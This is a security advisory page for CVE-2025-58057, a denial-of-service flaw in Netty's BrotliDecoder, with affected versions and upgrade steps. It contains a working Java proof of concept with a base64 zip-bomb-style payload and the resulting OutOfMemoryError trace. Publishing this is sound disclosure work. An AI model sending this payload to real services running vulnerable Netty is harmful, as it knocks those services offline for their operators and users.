CVE-2025-58057: Netty's BrotliDecoder is vulnerable to DoS via zip bomb style attack

Published Sep 3, 2025
·
Updated

Summary

With specially crafted input, BrotliDecoder and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service.

Details

BrotliDecoder.decompress has no limit in how often it calls pull, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb.

Tested on 4.1.118, but there were no changes to the decoder since.

PoC

Run this test case with -Xmx1G:

java import io.netty.buffer.Unpooled; import io.netty.channel.embedded.EmbeddedChannel;

import java.util.Base64;

public class T { public static void main(String[] args) { EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder()); channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode("aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bR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PW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA="))); } }

Error:

Exception in thread "main" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824) at java.base/java.nio.Bits.reserveMemory(Bits.java:178) at java.base/java.nio.DirectByteBuffer.<init>(DirectByteBuffer.java:121) at java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332) at io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718) at io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693) at io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213) at io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195) at io.netty.buffer.PoolArena.allocate(PoolArena.java:137) at io.netty.buffer.PoolArena.allocate(PoolArena.java:127) at io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403) at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188) at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179) at io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116) at io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70) at io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101) at io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137) at io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530) at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469) at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290) at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444) at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412) at io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357) at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440) at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) at io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868) at io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348) at io.netty.handler.codec.compression.T.main(T.java:11)

Impact

DoS for anyone using BrotliDecoder on untrusted input.

Other sources

Netty is an asynchronous event-driven network application framework for rapid development of maintainable high performance protocol servers & clients. In netty-codec-compression versions 4.1.124.Final and below, and netty-codec versions 4.2.4.Final and below, when supplied with specially crafted input, BrotliDecoder and certain other decompression decoders will allocate a large number of reachable byte buffers, which can lead to denial of service. BrotliDecoder.decompress has no limit in how often it calls pull, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is fixed in versions 4.1.125.Final of netty-codec and 4.2.5.Final of netty-codec-compression.

— MITRE

Affected Software

16 affected componentsFixes available
maven/io.netty:netty-codec<4.1.125.Final
4.1.125.Final
maven/io.netty:netty-codec-compression>=4.2.0.Alpha1<4.2.5.Final
4.2.5.Final
IBM watsonx.data intelligence<=5.2.0, 5.2.1, 5.2.2, 5.3.0
Netty Netty<4.1.125
Netty Netty>=4.2.0<4.2.5
debian/netty
1:4.1.48-4+deb11u31:4.1.48-7+deb12u21:4.1.48-10+deb13u11:4.1.48-12
ubuntu/netty*
ubuntu/netty*
ubuntu/netty<1:4.1.7-4ubuntu0.1+esm5
1:4.1.7-4ubuntu0.1+esm5
ubuntu/netty<1:4.1.45-1ubuntu0.1~esm4
1:4.1.45-1ubuntu0.1~esm4
ubuntu/netty<1:4.1.48-4+deb11u2ubuntu0.1
1:4.1.48-4+deb11u2ubuntu0.1
ubuntu/netty<1:4.1.48-9ubuntu0.1
1:4.1.48-9ubuntu0.1
ubuntu/netty<1:4.1.48-10ubuntu0.25.10.2
1:4.1.48-10ubuntu0.25.10.2
debian/netty<1:4.1.48-7+deb12u2
1:4.1.48-7+deb12u2
debian/netty<1:4.1.48-10+deb13u1
1:4.1.48-10+deb13u1
debian/netty<1:4.1.48-12
1:4.1.48-12

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade maven/io.netty:netty-codec to a version that resolves this vulnerability.

    Fixed in 4.1.125.Final
  2. Upgrade

    Upgrade maven/io.netty:netty-codec-compression to a version that resolves this vulnerability.

    Fixed in 4.2.5.Final
  3. Upgrade

    Upgrade debian/netty to a version that resolves this vulnerability.

    Fixed in 1:4.1.48-4+deb11u3Fixed in 1:4.1.48-7+deb12u2Fixed in 1:4.1.48-10+deb13u1Fixed in 1:4.1.48-12
  4. Upgrade

    Upgrade ubuntu/netty to a version that resolves this vulnerability.

    Fixed in 1:4.1.7-4ubuntu0.1+esm5
  5. Upgrade

    Upgrade ubuntu/netty to a version that resolves this vulnerability.

    Fixed in 1:4.1.45-1ubuntu0.1~esm4
  6. Upgrade

    Upgrade ubuntu/netty to a version that resolves this vulnerability.

    Fixed in 1:4.1.48-4+deb11u2ubuntu0.1
  7. Upgrade

    Upgrade ubuntu/netty to a version that resolves this vulnerability.

    Fixed in 1:4.1.48-9ubuntu0.1
  8. Upgrade

    Upgrade ubuntu/netty to a version that resolves this vulnerability.

    Fixed in 1:4.1.48-10ubuntu0.25.10.2
  9. Upgrade

    Upgrade debian/netty to a version that resolves this vulnerability.

    Fixed in 1:4.1.48-7+deb12u2
  10. Upgrade

    Upgrade debian/netty to a version that resolves this vulnerability.

    Fixed in 1:4.1.48-10+deb13u1
  11. Upgrade

    Upgrade debian/netty to a version that resolves this vulnerability.

    Fixed in 1:4.1.48-12
  12. Upgrade

    Upgrade io.netty:netty-codec-compression to a version that resolves this vulnerability.

    Fixed in 4.2.5.Final
  13. Upgrade

    Upgrade io.netty:netty-codec to a version that resolves this vulnerability.

    Fixed in 4.1.125.Final

Event History

Sep 3, 2025
Advisory Published
via GitHub·06:00 PM
Data Sourced
via GitHub·06:00 PM
DescriptionWeaknessAffected Software
CVE Published
via MITRE·09:46 PM
Data Sourced
via MITRE·09:46 PM
DescriptionWeakness
Data Sourced
via Red Hat·10:01 PM
DescriptionSeverityAffected Software
Sep 4, 2025
Data Sourced
via OSV·10:42 AM
DescriptionSeverityAffected Software
Data Sourced
via NVD·10:42 AM
DescriptionSeverityWeakness
Sep 8, 2025
Data Sourced
via NVD·04:45 PM
RemedyAffected Software
Updated
via NVD·04:45 PM
Severity
Event
via NVD·04:45 PM
Nov 3, 2025
Data Sourced
via IBM·12:00 AM
DescriptionAffected Software
Feb 9, 2026
Updated
via IBM·12:00 AM
Affected Software
Apr 27, 2026
Updated
via IBM·12:00 AM
Affected Software
Jun 24, 2026
Updated
via IBM·12:00 AM
Affected Software

Parent advisories

This vulnerability appears in the following advisories.

Peer vulnerabilities

Found alongside the following vulnerabilities.

Frequently Asked Questions

1

What is the severity of CVE-2025-58057?

CVE-2025-58057 has a denial of service vulnerability impact due to excessive allocation of reachable byte buffers.

2

How do I fix CVE-2025-58057?

To fix CVE-2025-58057, upgrade to Netty codec version 4.1.125.Final or Netty codec compression version 4.2.5.Final.

3

What software is affected by CVE-2025-58057?

CVE-2025-58057 affects the io.netty:netty-codec and io.netty:netty-codec-compression packages.

4

What is the cause of CVE-2025-58057?

The cause of CVE-2025-58057 is the lack of limits in the BrotliDecoder's decompress method, which can lead to resource exhaustion.

5

What types of attacks can CVE-2025-58057 lead to?

CVE-2025-58057 can lead to denial of service attacks due to increased memory allocation from decoding operations.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203